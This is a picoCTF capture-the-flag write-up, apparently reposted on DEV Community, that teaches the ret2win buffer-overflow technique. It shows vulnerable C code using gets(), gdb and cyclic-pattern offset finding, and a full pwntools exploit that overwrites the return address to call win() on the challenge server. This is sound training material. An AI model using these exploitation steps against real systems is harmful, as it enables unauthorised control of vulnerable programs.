DEV Community

CTFDojo
CTFDojo

Posted on Originally published at ctfdojo.com

PicoCTF Buffer Overflow 1 Writeup — Overwrite a Return Address to Call win()

This time, the goal isn't to overwrite a simple variable but the function's own return address, to redirect execution to a win() function present in the binary but never normally called — the classic technique known as "ret2win".

  • Platform: picoGym
  • Category: Binary Exploitation (Pwn)
  • Points: 300 pts
  • Difficulty: Intermediate
  • Technique: Ret2win, return address overwrite

Challenge description

The provided source code looks like this:

void win(){
    printf("Congratulations!\n");
    system("/bin/cat flag.txt");
}

void vuln(){
    char buf[128];
    printf("Please enter your string: \n");
    gets(buf);
    printf("Ok, now what's your name?\n");
    char name[64];
    gets(name);
    printf("Hello %s\n", name);
}

int main(){
    vuln();
    return 0;
}
Enter fullscreen mode Exit fullscreen mode

The win() function prints the flag, but it isn't called anywhere in main() or vuln(). The only way to reach it is to force the program to jump there directly.

Step 1 — Find the address of win()

Since the binary is not compiled as PIE (Position Independent Executable), function addresses are fixed and known in advance. We can grab them easily with objdump:

$ objdump -d ./vuln | grep ':'
0000000000401216 :
Enter fullscreen mode Exit fullscreen mode

Or directly from gdb:

gdb-peda$ info functions win
All functions matching regular expression "win":
0x0000000000401216  win

gdb-peda$ p win
$1 = {} 0x401216 
Enter fullscreen mode Exit fullscreen mode

The address of win() is therefore 0x401216.

Step 2 — Find the offset to the return address

Rather than computing the offset by hand, we use a cyclic pattern generated by pwntools. We run the binary in gdb, send the pattern, and observe the value that overwrites the instruction pointer (RIP in 64-bit) at the moment of the crash:

from pwn import cyclic
print(cyclic(200))
# aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaaz...
Enter fullscreen mode Exit fullscreen mode
gdb-peda$ run
Please enter your string:
> aaaabaaacaaadaaaeaaaf...
[...]
Program received signal SIGSEGV, Segmentation fault.
RIP: 0x6161616c61616b61 ('aakaaal')

gdb-peda$ python from pwn import *; print(cyclic_find(0x6161616c61616b61))
136
Enter fullscreen mode Exit fullscreen mode

The offset between the start of the buffer and the overwritten return address is therefore 136 bytes.

Step 3 — Build the payload

The final payload consists of 136 padding bytes, followed by the address of win() packed into 8 bytes (64-bit architecture, so p64() rather than p32()):

payload = b'A' * 136 + p64(0x401216)
Enter fullscreen mode Exit fullscreen mode

Full exploit

from pwn import *

context.binary = elf = ELF('./vuln')
context.log_level = 'info'

# io = process('./vuln')
io = remote('mercury.picoctf.net', 54321)

offset = 136
win_addr = elf.symbols['win']

log.info(f"win() address: {hex(win_addr)}")

payload = b'A' * offset
payload += p64(win_addr)

io.recvuntil(b'string: \n')
io.sendline(payload)

io.recvline()  # "Ok, now what's your name?"
io.sendline(b'ctfdojo')  # answer anything for the 2nd gets()

print(io.recvall().decode())
Enter fullscreen mode Exit fullscreen mode

Step 4 — Run the exploit

By sending this payload, the ret in vuln() no longer returns to main() but jumps straight to win(), which executes system("/bin/cat flag.txt"):

$ python3 exploit.py
[+] Opening connection to mercury.picoctf.net on port 54321: Done
[*] win() address: 0x401216
Congratulations!
picoCTF{***************************}
[*] Closed connection to mercury.picoctf.net port 54321
Enter fullscreen mode Exit fullscreen mode

Note: this technique works directly because the binary is compiled without PIE — the address of win() is fixed and known at compile time. If PIE had been enabled, function addresses would be randomized on every run, and we would first have needed to leak an address (for example via an information leak) to compute the real offset before being able to target win() precisely.

🚩 picoCTF{ flag intentionally hidden }

The flag is deliberately hidden — follow the method, you've earned it. 💪

Key takeaways

Ret2win illustrates the founding principle of all binary exploitation: controlling the return address means controlling the program's flow of execution.

  • The return address stored on the stack is just data like any other — if it's reachable via an overflow, it's modifiable
  • Cyclic patterns (cyclic / cyclic_find) avoid computing offsets by hand and are essential as soon as the buffer gets complex
  • It's the gateway to more advanced techniques (ROP chains) when no ready-made "win" function exists in the target binary

Originally published on CTFdojo — join the CTFdojo Discord to discuss writeups and get notified about new ones.

Top comments (0)